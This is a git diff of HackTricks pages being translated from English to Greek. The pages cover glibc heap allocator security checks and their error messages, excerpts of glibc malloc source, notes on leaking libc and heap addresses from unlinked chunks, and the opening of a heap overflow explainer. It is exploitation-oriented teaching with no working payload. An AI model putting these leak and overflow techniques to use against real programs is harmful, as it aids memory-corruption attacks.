- Αν το επόμενο κομμάτι έχει πολύ μικρό ή πολύ μεγάλο μέγεθος: `free(): invalid next size (normal)`
|
||||
- αν το προηγούμενο κομμάτι δεν είναι σε χρήση, θα προσπαθήσει να συγχωνεύσει. Αλλά, αν το prev_size διαφέρει από το μέγεθος που υποδεικνύεται στο προηγούμενο κομμάτι: `corrupted size vs. prev_size while consolidating`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free_merge_chunk code</summary>
|
||||
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
|
||||
|
||||
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
|
||||
resulting chunk on the appropriate bin list. P must not be on a
|
||||
bin list yet, and it can be in use. */
|
||||
resulting chunk on the appropriate bin list. P must not be on a
|
||||
bin list yet, and it can be in use. */
|
||||
static void
|
||||
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
|
||||
{
|
||||
mchunkptr nextchunk = chunk_at_offset(p, size);
|
||||
mchunkptr nextchunk = chunk_at_offset(p, size);
|
||||
|
||||
/* Lightweight tests: check whether the block is already the
|
||||
top block. */
|
||||
if (__glibc_unlikely (p == av->top))
|
||||
malloc_printerr ("double free or corruption (top)");
|
||||
/* Or whether the next chunk is beyond the boundaries of the arena. */
|
||||
if (__builtin_expect (contiguous (av)
|
||||
&& (char *) nextchunk
|
||||
>= ((char *) av->top + chunksize(av->top)), 0))
|
||||
malloc_printerr ("double free or corruption (out)");
|
||||
/* Or whether the block is actually not marked used. */
|
||||
if (__glibc_unlikely (!prev_inuse(nextchunk)))
|
||||
malloc_printerr ("double free or corruption (!prev)");
|
||||
/* Lightweight tests: check whether the block is already the
|
||||
top block. */
|
||||
if (__glibc_unlikely (p == av->top))
|
||||
malloc_printerr ("double free or corruption (top)");
|
||||
/* Or whether the next chunk is beyond the boundaries of the arena. */
|
||||
if (__builtin_expect (contiguous (av)
|
||||
&& (char *) nextchunk
|
||||
>= ((char *) av->top + chunksize(av->top)), 0))
|
||||
malloc_printerr ("double free or corruption (out)");
|
||||
/* Or whether the block is actually not marked used. */
|
||||
if (__glibc_unlikely (!prev_inuse(nextchunk)))
|
||||
malloc_printerr ("double free or corruption (!prev)");
|
||||
|
||||
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
|
||||
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|
||||
|| __builtin_expect (nextsize >= av->system_mem, 0))
|
||||
malloc_printerr ("free(): invalid next size (normal)");
|
||||
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
|
||||
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|
||||
|| __builtin_expect (nextsize >= av->system_mem, 0))
|
||||
malloc_printerr ("free(): invalid next size (normal)");
|
||||
|
||||
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
|
||||
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
|
||||
|
||||
/* Consolidate backward. */
|
||||
if (!prev_inuse(p))
|
||||
{
|
||||
INTERNAL_SIZE_T prevsize = prev_size (p);
|
||||
size += prevsize;
|
||||
p = chunk_at_offset(p, -((long) prevsize));
|
||||
if (__glibc_unlikely (chunksize(p) != prevsize))
|
||||
malloc_printerr ("corrupted size vs. prev_size while consolidating");
|
||||
unlink_chunk (av, p);
|
||||
}
|
||||
/* Consolidate backward. */
|
||||
if (!prev_inuse(p))
|
||||
{
|
||||
INTERNAL_SIZE_T prevsize = prev_size (p);
|
||||
size += prevsize;
|
||||
p = chunk_at_offset(p, -((long) prevsize));
|
||||
if (__glibc_unlikely (chunksize(p) != prevsize))
|
||||
malloc_printerr ("corrupted size vs. prev_size while consolidating");
|
||||
unlink_chunk (av, p);
|
||||
}
|
||||
|
||||
/* Write the chunk header, maybe after merging with the following chunk. */
|
||||
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
|
||||
_int_free_maybe_consolidate (av, size);
|
||||
/* Write the chunk header, maybe after merging with the following chunk. */
|
||||
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
|
||||
_int_free_maybe_consolidate (av, size);
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,163 +1,163 @@
|
||||
# Heap Functions Security Checks
|
||||
# Έλεγχοι Ασφαλείας Λειτουργιών Σωρού
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## unlink
|
||||
|
||||
For more info check:
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
unlink.md
|
||||
{{#endref}}
|
||||
|
||||
This is a summary of the performed checks:
|
||||
Αυτή είναι μια περίληψη των ελέγχων που πραγματοποιήθηκαν:
|
||||
|
||||
- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
|
||||
- Error message: `corrupted size vs. prev_size`
|
||||
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
|
||||
- Error message: `corrupted double-linked list`
|
||||
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
|
||||
- Error message: `corrupted double-linked list (not small)`
|
||||
- Έλεγχος αν το υποδεικνυόμενο μέγεθος του κομματιού είναι το ίδιο με το `prev_size` που υποδεικνύεται στο επόμενο κομμάτι
|
||||
- Μήνυμα σφάλματος: `corrupted size vs. prev_size`
|
||||
- Έλεγχος επίσης ότι `P->fd->bk == P` και `P->bk->fw == P`
|
||||
- Μήνυμα σφάλματος: `corrupted double-linked list`
|
||||
- Αν το κομμάτι δεν είναι μικρό, έλεγχος ότι `P->fd_nextsize->bk_nextsize == P` και `P->bk_nextsize->fd_nextsize == P`
|
||||
- Μήνυμα σφάλματος: `corrupted double-linked list (not small)`
|
||||
|
||||
## \_int_malloc
|
||||
|
||||
For more info check:
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
malloc-and-sysmalloc.md
|
||||
{{#endref}}
|
||||
|
||||
- **Checks during fast bin search:**
|
||||
- If the chunk is misaligned:
|
||||
- Error message: `malloc(): unaligned fastbin chunk detected 2`
|
||||
- If the forward chunk is misaligned:
|
||||
- Error message: `malloc(): unaligned fastbin chunk detected`
|
||||
- If the returned chunk has a size that isn't correct because of it's index in the fast bin:
|
||||
- Error message: `malloc(): memory corruption (fast)`
|
||||
- If any chunk used to fill the tcache is misaligned:
|
||||
- Error message: `malloc(): unaligned fastbin chunk detected 3`
|
||||
- **Checks during small bin search:**
|
||||
- If `victim->bk->fd != victim`:
|
||||
- Error message: `malloc(): smallbin double linked list corrupted`
|
||||
- **Checks during consolidate** performed for each fast bin chunk: 
|
||||
- If the chunk is unaligned trigger:
|
||||
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
- If the chunk has a different size that the one it should because of the index it's in:
|
||||
- Error message: `malloc_consolidate(): invalid chunk size`
|
||||
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
|
||||
- Error message: `corrupted size vs. prev_size in fastbins`
|
||||
- **Checks during unsorted bin search**:
|
||||
- If the chunk size is weird (too small or too big): 
|
||||
- Error message: `malloc(): invalid size (unsorted)`
|
||||
- If the next chunk size is weird (too small or too big):
|
||||
- Error message: `malloc(): invalid next size (unsorted)`
|
||||
- If the previous size indicated by the next chunk differs from the size of the chunk:
|
||||
- Error message: `malloc(): mismatching next->prev_size (unsorted)`
|
||||
- If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
|
||||
- Error message: `malloc(): unsorted double linked list corrupted`
|
||||
- As we are always checking the las one, it's fd should be pointing always to the arena struct.
|
||||
- If the next chunk isn't indicating that the previous is in use:
|
||||
- Error message: `malloc(): invalid next->prev_inuse (unsorted)`
|
||||
- If `fwd->bk_nextsize->fd_nextsize != fwd`:
|
||||
- Error message: `malloc(): largebin double linked list corrupted (nextsize)`
|
||||
- If `fwd->bk->fd != fwd`:
|
||||
- Error message: `malloc(): largebin double linked list corrupted (bk)`
|
||||
- **Checks during large bin (by index) search:**
|
||||
- `bck->fd-> bk != bck`:
|
||||
- Error message: `malloc(): corrupted unsorted chunks`
|
||||
- **Checks during large bin (next bigger) search:**
|
||||
- `bck->fd-> bk != bck`:
|
||||
- Error message: `malloc(): corrupted unsorted chunks2`
|
||||
- **Checks during Top chunk use:**
|
||||
- `chunksize(av->top) > av->system_mem`:
|
||||
- Error message: `malloc(): corrupted top size`
|
||||
- **Έλεγχοι κατά την αναζήτηση γρήγορης λίστας:**
|
||||
- Αν το κομμάτι είναι κακώς ευθυγραμμισμένο:
|
||||
- Μήνυμα σφάλματος: `malloc(): unaligned fastbin chunk detected 2`
|
||||
- Αν το επόμενο κομμάτι είναι κακώς ευθυγραμμισμένο:
|
||||
- Μήνυμα σφάλματος: `malloc(): unaligned fastbin chunk detected`
|
||||
- Αν το επιστρεφόμενο κομμάτι έχει μέγεθος που δεν είναι σωστό λόγω του δείκτη του στη γρήγορη λίστα:
|
||||
- Μήνυμα σφάλματος: `malloc(): memory corruption (fast)`
|
||||
- Αν οποιοδήποτε κομμάτι που χρησιμοποιείται για να γεμίσει το tcache είναι κακώς ευθυγραμμισμένο:
|
||||
- Μήνυμα σφάλματος: `malloc(): unaligned fastbin chunk detected 3`
|
||||
- **Έλεγχοι κατά την αναζήτηση μικρής λίστας:**
|
||||
- Αν `victim->bk->fd != victim`:
|
||||
- Μήνυμα σφάλματος: `malloc(): smallbin double linked list corrupted`
|
||||
- **Έλεγχοι κατά την ενοποίηση** που πραγματοποιούνται για κάθε κομμάτι γρήγορης λίστας: 
|
||||
- Αν το κομμάτι είναι κακώς ευθυγραμμισμένο ενεργοποιήστε:
|
||||
- Μήνυμα σφάλματος: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
- Αν το κομμάτι έχει διαφορετικό μέγεθος από αυτό που θα έπρεπε λόγω του δείκτη του:
|
||||
- Μήνυμα σφάλματος: `malloc_consolidate(): invalid chunk size`
|
||||
- Αν το προηγούμενο κομμάτι δεν είναι σε χρήση και το προηγούμενο κομμάτι έχει μέγεθος διαφορετικό από αυτό που υποδεικνύεται από το prev_chunk:
|
||||
- Μήνυμα σφάλματος: `corrupted size vs. prev_size in fastbins`
|
||||
- **Έλεγχοι κατά την αναζήτηση αταξινόμητης λίστας**:
|
||||
- Αν το μέγεθος του κομματιού είναι περίεργο (πολύ μικρό ή πολύ μεγάλο): 
|
||||
- Μήνυμα σφάλματος: `malloc(): invalid size (unsorted)`
|
||||
- Αν το μέγεθος του επόμενου κομματιού είναι περίεργο (πολύ μικρό ή πολύ μεγάλο):
|
||||
- Μήνυμα σφάλματος: `malloc(): invalid next size (unsorted)`
|
||||
- Αν το προηγούμενο μέγεθος που υποδεικνύεται από το επόμενο κομμάτι διαφέρει από το μέγεθος του κομματιού:
|
||||
- Μήνυμα σφάλματος: `malloc(): mismatching next->prev_size (unsorted)`
|
||||
- Αν όχι `victim->bck->fd == victim` ή όχι `victim->fd == av (arena)`:
|
||||
- Μήνυμα σφάλματος: `malloc(): unsorted double linked list corrupted`
|
||||
- Καθώς πάντα ελέγχουμε το τελευταίο, το fd του θα πρέπει πάντα να δείχνει στη δομή arena.
|
||||
- Αν το επόμενο κομμάτι δεν υποδεικνύει ότι το προηγούμενο είναι σε χρήση:
|
||||
- Μήνυμα σφάλματος: `malloc(): invalid next->prev_inuse (unsorted)`
|
||||
- Αν `fwd->bk_nextsize->fd_nextsize != fwd`:
|
||||
- Μήνυμα σφάλματος: `malloc(): largebin double linked list corrupted (nextsize)`
|
||||
- Αν `fwd->bk->fd != fwd`:
|
||||
- Μήνυμα σφάλματος: `malloc(): largebin double linked list corrupted (bk)`
|
||||
- **Έλεγχοι κατά την αναζήτηση μεγάλης λίστας (κατά δείκτη):**
|
||||
- `bck->fd-> bk != bck`:
|
||||
- Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks`
|
||||
- **Έλεγχοι κατά την αναζήτηση μεγάλης λίστας (επόμενος μεγαλύτερος):**
|
||||
- `bck->fd-> bk != bck`:
|
||||
- Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks2`
|
||||
- **Έλεγχοι κατά τη χρήση του Top chunk:**
|
||||
- `chunksize(av->top) > av->system_mem`:
|
||||
- Μήνυμα σφάλματος: `malloc(): corrupted top size`
|
||||
|
||||
## `tcache_get_n`
|
||||
|
||||
- **Checks in `tcache_get_n`:**
|
||||
- If chunk is misaligned:
|
||||
- Error message: `malloc(): unaligned tcache chunk detected`
|
||||
- **Έλεγχοι στο `tcache_get_n`:**
|
||||
- Αν το κομμάτι είναι κακώς ευθυγραμμισμένο:
|
||||
- Μήνυμα σφάλματος: `malloc(): unaligned tcache chunk detected`
|
||||
|
||||
## `tcache_thread_shutdown`
|
||||
|
||||
- **Checks in `tcache_thread_shutdown`:**
|
||||
- If chunk is misaligned:
|
||||
- Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
|
||||
- **Έλεγχοι στο `tcache_thread_shutdown`:**
|
||||
- Αν το κομμάτι είναι κακώς ευθυγραμμισμένο:
|
||||
- Μήνυμα σφάλματος: `tcache_thread_shutdown(): unaligned tcache chunk detected`
|
||||
|
||||
## `__libc_realloc`
|
||||
|
||||
- **Checks in `__libc_realloc`:**
|
||||
- If old pointer is misaligned or the size was incorrect:
|
||||
- Error message: `realloc(): invalid pointer`
|
||||
- **Έλεγχοι στο `__libc_realloc`:**
|
||||
- Αν ο παλιός δείκτης είναι κακώς ευθυγραμμισμένος ή το μέγεθος ήταν λανθασμένο:
|
||||
- Μήνυμα σφάλματος: `realloc(): invalid pointer`
|
||||
|
||||
## `_int_free`
|
||||
|
||||
For more info check:
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
free.md
|
||||
{{#endref}}
|
||||
|
||||
- **Checks during the start of `_int_free`:**
|
||||
- Pointer is aligned:
|
||||
- Error message: `free(): invalid pointer`
|
||||
- Size larger than `MINSIZE` and size also aligned:
|
||||
- Error message: `free(): invalid size`
|
||||
- **Checks in `_int_free` tcache:**
|
||||
- If there are more entries than `mp_.tcache_count`:
|
||||
- Error message: `free(): too many chunks detected in tcache`
|
||||
- If the entry is not aligned:
|
||||
- Error message: `free(): unaligned chunk detected in tcache 2`
|
||||
- If the freed chunk was already freed and is present as chunk in the tcache:
|
||||
- Error message: `free(): double free detected in tcache 2`
|
||||
- **Checks in `_int_free` fast bin:**
|
||||
- If the size of the chunk is invalid (too big or small) trigger:
|
||||
- Error message: `free(): invalid next size (fast)`
|
||||
- If the added chunk was already the top of the fast bin:
|
||||
- Error message: `double free or corruption (fasttop)`
|
||||
- If the size of the chunk at the top has a different size of the chunk we are adding:
|
||||
- Error message: `invalid fastbin entry (free)`
|
||||
- **Έλεγχοι κατά την αρχή του `_int_free`:**
|
||||
- Ο δείκτης είναι ευθυγραμμισμένος:
|
||||
- Μήνυμα σφάλματος: `free(): invalid pointer`
|
||||
- Μέγεθος μεγαλύτερο από `MINSIZE` και το μέγεθος είναι επίσης ευθυγραμμισμένο:
|
||||
- Μήνυμα σφάλματος: `free(): invalid size`
|
||||
- **Έλεγχοι στο `_int_free` tcache:**
|
||||
- Αν υπάρχουν περισσότερες καταχωρίσεις από το `mp_.tcache_count`:
|
||||
- Μήνυμα σφάλματος: `free(): too many chunks detected in tcache`
|
||||
- Αν η καταχώριση δεν είναι ευθυγραμμισμένη:
|
||||
- Μήνυμα σφάλματος: `free(): unaligned chunk detected in tcache 2`
|
||||
- Αν το ελευθερωμένο κομμάτι είχε ήδη ελευθερωθεί και είναι παρόν ως κομμάτι στο tcache:
|
||||
- Μήνυμα σφάλματος: `free(): double free detected in tcache 2`
|
||||
- **Έλεγχοι στο `_int_free` γρήγορη λίστα:**
|
||||
- Αν το μέγεθος του κομματιού είναι μη έγκυρο (πολύ μεγάλο ή πολύ μικρό) ενεργοποιήστε:
|
||||
- Μήνυμα σφάλματος: `free(): invalid next size (fast)`
|
||||
- Αν το προστιθέμενο κομμάτι ήταν ήδη το κορυφαίο της γρήγορης λίστας:
|
||||
- Μήνυμα σφάλματος: `double free or corruption (fasttop)`
|
||||
- Αν το μέγεθος του κομματιού στην κορυφή έχει διαφορετικό μέγεθος από το κομμάτι που προσθέτουμε:
|
||||
- Μήνυμα σφάλματος: `invalid fastbin entry (free)`
|
||||
|
||||
## **`_int_free_merge_chunk`**
|
||||
|
||||
- **Checks in `_int_free_merge_chunk`:**
|
||||
- If the chunk is the top chunk:
|
||||
- Error message: `double free or corruption (top)`
|
||||
- If the next chunk is outside of the boundaries of the arena:
|
||||
- Error message: `double free or corruption (out)`
|
||||
- If the chunk is not marked as used (in the prev_inuse from the following chunk):
|
||||
- Error message: `double free or corruption (!prev)`
|
||||
- If the next chunk has a too little size or too big:
|
||||
- Error message: `free(): invalid next size (normal)`
|
||||
- If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
|
||||
- Error message: `corrupted size vs. prev_size while consolidating`
|
||||
- **Έλεγχοι στο `_int_free_merge_chunk`:**
|
||||
- Αν το κομμάτι είναι το κορυφαίο κομμάτι:
|
||||
- Μήνυμα σφάλματος: `double free or corruption (top)`
|
||||
- Αν το επόμενο κομμάτι είναι εκτός των ορίων της αρένας:
|
||||
- Μήνυμα σφάλματος: `double free or corruption (out)`
|
||||
- Αν το κομμάτι δεν είναι σημειωμένο ως χρησιμοποιούμενο (στο prev_inuse από το επόμενο κομμάτι):
|
||||
- Μήνυμα σφάλματος: `double free or corruption (!prev)`
|
||||
- Αν το επόμενο κομμάτι έχει πολύ μικρό ή πολύ μεγάλο μέγεθος:
|
||||
- Μήνυμα σφάλματος: `free(): invalid next size (normal)`
|
||||
- Αν το προηγούμενο κομμάτι δεν είναι σε χρήση, θα προσπαθήσει να ενοποιήσει. Αλλά, αν το `prev_size` διαφέρει από το μέγεθος που υποδεικνύεται στο προηγούμενο κομμάτι:
|
||||
- Μήνυμα σφάλματος: `corrupted size vs. prev_size while consolidating`
|
||||
|
||||
## **`_int_free_create_chunk`**
|
||||
|
||||
- **Checks in `_int_free_create_chunk`:**
|
||||
- Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
|
||||
- Error message: `free(): corrupted unsorted chunks`
|
||||
- **Έλεγχοι στο `_int_free_create_chunk`:**
|
||||
- Προσθέτοντας ένα κομμάτι στην αταξινόμητη λίστα, ελέγξτε αν `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
|
||||
- Μήνυμα σφάλματος: `free(): corrupted unsorted chunks`
|
||||
|
||||
## `do_check_malloc_state`
|
||||
|
||||
- **Checks in `do_check_malloc_state`:**
|
||||
- If misaligned fast bin chunk:
|
||||
- Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
|
||||
- **Έλεγχοι στο `do_check_malloc_state`:**
|
||||
- Αν το κομμάτι γρήγορης λίστας είναι κακώς ευθυγραμμισμένο:
|
||||
- Μήνυμα σφάλματος: `do_check_malloc_state(): unaligned fastbin chunk detected`
|
||||
|
||||
## `malloc_consolidate`
|
||||
|
||||
- **Checks in `malloc_consolidate`:**
|
||||
- If misaligned fast bin chunk:
|
||||
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
- If incorrect fast bin chunk size:
|
||||
- Error message: `malloc_consolidate(): invalid chunk size`
|
||||
- **Έλεγχοι στο `malloc_consolidate`:**
|
||||
- Αν το κομμάτι γρήγορης λίστας είναι κακώς ευθυγραμμισμένο:
|
||||
- Μήνυμα σφάλματος: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
- Αν το μέγεθος του κομματιού γρήγορης λίστας είναι λανθασμένο:
|
||||
- Μήνυμα σφάλματος: `malloc_consolidate(): invalid chunk size`
|
||||
|
||||
## `_int_realloc`
|
||||
|
||||
- **Checks in `_int_realloc`:**
|
||||
- Size is too big or too small:
|
||||
- Error message: `realloc(): invalid old size`
|
||||
- Size of the next chunk is too big or too small:
|
||||
- Error message: `realloc(): invalid next size`
|
||||
- **Έλεγχοι στο `_int_realloc`:**
|
||||
- Το μέγεθος είναι πολύ μεγάλο ή πολύ μικρό:
|
||||
- Μήνυμα σφάλματος: `realloc(): invalid old size`
|
||||
- Το μέγεθος του επόμενου κομματιού είναι πολύ μεγάλο ή πολύ μικρό:
|
||||
- Μήνυμα σφάλματος: `realloc(): invalid next size`
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Code
|
||||
|
||||
### Κώδικας
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
@ -11,73 +10,72 @@
|
||||
static void
|
||||
unlink_chunk (mstate av, mchunkptr p)
|
||||
{
|
||||
if (chunksize (p) != prev_size (next_chunk (p)))
|
||||
malloc_printerr ("corrupted size vs. prev_size");
|
||||
if (chunksize (p) != prev_size (next_chunk (p)))
|
||||
malloc_printerr ("corrupted size vs. prev_size");
|
||||
|
||||
mchunkptr fd = p->fd;
|
||||
mchunkptr bk = p->bk;
|
||||
mchunkptr fd = p->fd;
|
||||
mchunkptr bk = p->bk;
|
||||
|
||||
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
|
||||
malloc_printerr ("corrupted double-linked list");
|
||||
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
|
||||
malloc_printerr ("corrupted double-linked list");
|
||||
|
||||
fd->bk = bk;
|
||||
bk->fd = fd;
|
||||
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
|
||||
{
|
||||
if (p->fd_nextsize->bk_nextsize != p
|
||||
|| p->bk_nextsize->fd_nextsize != p)
|
||||
malloc_printerr ("corrupted double-linked list (not small)");
|
||||
fd->bk = bk;
|
||||
bk->fd = fd;
|
||||
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
|
||||
{
|
||||
if (p->fd_nextsize->bk_nextsize != p
|
||||
|| p->bk_nextsize->fd_nextsize != p)
|
||||
malloc_printerr ("corrupted double-linked list (not small)");
|
||||
|
||||
// Added: If the FD is not in the nextsize list
|
||||
if (fd->fd_nextsize == NULL)
|
||||
{
|
||||
// Added: If the FD is not in the nextsize list
|
||||
if (fd->fd_nextsize == NULL)
|
||||
{
|
||||
|
||||
if (p->fd_nextsize == p)
|
||||
fd->fd_nextsize = fd->bk_nextsize = fd;
|
||||
else
|
||||
// Link the nexsize list in when removing the new chunk
|
||||
{
|
||||
fd->fd_nextsize = p->fd_nextsize;
|
||||
fd->bk_nextsize = p->bk_nextsize;
|
||||
p->fd_nextsize->bk_nextsize = fd;
|
||||
p->bk_nextsize->fd_nextsize = fd;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
|
||||
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
||||
}
|
||||
}
|
||||
if (p->fd_nextsize == p)
|
||||
fd->fd_nextsize = fd->bk_nextsize = fd;
|
||||
else
|
||||
// Link the nexsize list in when removing the new chunk
|
||||
{
|
||||
fd->fd_nextsize = p->fd_nextsize;
|
||||
fd->bk_nextsize = p->bk_nextsize;
|
||||
p->fd_nextsize->bk_nextsize = fd;
|
||||
p->bk_nextsize->fd_nextsize = fd;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
|
||||
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
### Γραφική Εξήγηση
|
||||
|
||||
### Graphical Explanation
|
||||
|
||||
Check this great graphical explanation of the unlink process:
|
||||
Δείτε αυτή τη σπουδαία γραφική εξήγηση της διαδικασίας unlink:
|
||||
|
||||
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### Security Checks
|
||||
### Έλεγχοι Ασφαλείας
|
||||
|
||||
- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
|
||||
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
|
||||
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
|
||||
- Ελέγξτε αν το υποδεικνυόμενο μέγεθος του chunk είναι το ίδιο με το prev_size που υποδεικνύεται στο επόμενο chunk
|
||||
- Ελέγξτε επίσης ότι `P->fd->bk == P` και `P->bk->fw == P`
|
||||
- Αν το chunk δεν είναι μικρό, ελέγξτε ότι `P->fd_nextsize->bk_nextsize == P` και `P->bk_nextsize->fd_nextsize == P`
|
||||
|
||||
### Leaks
|
||||
### Διαρροές
|
||||
|
||||
An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
|
||||
Ένα unlinked chunk δεν καθαρίζει τις κατανεμημένες διευθύνσεις, οπότε έχοντας πρόσβαση για να το διαβάσετε, είναι δυνατόν να διαρρεύσουν κάποιες ενδιαφέρουσες διευθύνσεις:
|
||||
|
||||
Libc Leaks:
|
||||
Libc Διαρροές:
|
||||
|
||||
- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
|
||||
- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
|
||||
- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
|
||||
- Αν το P βρίσκεται στην κεφαλή της διπλά συνδεδεμένης λίστας, το `bk` θα δείχνει στο `malloc_state` στη libc
|
||||
- Αν το P βρίσκεται στο τέλος της διπλά συνδεδεμένης λίστας, το `fd` θα δείχνει στο `malloc_state` στη libc
|
||||
- Όταν η διπλά συνδεδεμένη λίστα περιέχει μόνο ένα ελεύθερο chunk, το P είναι στη διπλά συνδεδεμένη λίστα, και τόσο το `fd` όσο και το `bk` μπορούν να διαρρεύσουν τη διεύθυνση μέσα στο `malloc_state`.
|
||||
|
||||
Heap leaks:
|
||||
Διαρροές Heap:
|
||||
|
||||
- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
|
||||
- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
|
||||
- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
|
||||
- Αν το P βρίσκεται στην κεφαλή της διπλά συνδεδεμένης λίστας, το `fd` θα δείχνει σε ένα διαθέσιμο chunk στο heap
|
||||
- Αν το P βρίσκεται στο τέλος της διπλά συνδεδεμένης λίστας, το `bk` θα δείχνει σε ένα διαθέσιμο chunk στο heap
|
||||
- Αν το P είναι στη διπλά συνδεδεμένη λίστα, τόσο το `fd` όσο και το `bk` θα δείχνουν σε ένα διαθέσιμο chunk στο heap
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,47 +4,45 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
|
||||
Ένα heap overflow είναι όπως ένα [**stack overflow**](../stack-overflow/) αλλά στο heap. Βασικά σημαίνει ότι κάποιος χώρος είχε κρατηθεί στο heap για να αποθηκεύσει κάποια δεδομένα και **τα αποθηκευμένα δεδομένα ήταν μεγαλύτερα από τον κρατημένο χώρο.**
|
||||
|
||||
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
|
||||
Στα stack overflows γνωρίζουμε ότι μερικοί καταχωρητές όπως ο δείκτης εντολών ή το stack frame θα αποκατασταθούν από το stack και θα μπορούσε να είναι δυνατό να γίνει κατάχρηση αυτού. Στην περίπτωση των heap overflows, **δεν υπάρχει καμία ευαίσθητη πληροφορία που να αποθηκεύεται από προεπιλογή** στο heap chunk που μπορεί να υπερχειλιστεί. Ωστόσο, θα μπορούσε να είναι ευαίσθητη πληροφορία ή δείκτες, οπότε η **κριτική σημασία** αυτής της ευπάθειας **εξαρτάται** από **ποια δεδομένα θα μπορούσαν να αντικατασταθούν** και πώς ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό.
|
||||
|
||||
> [!TIP]
|
||||
> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
|
||||
> Για να βρείτε τα offsets υπερχείλισης μπορείτε να χρησιμοποιήσετε τα ίδια μοτίβα όπως στα [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
|
||||
|
||||
### Stack Overflows vs Heap Overflows
|
||||
|
||||
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
|
||||
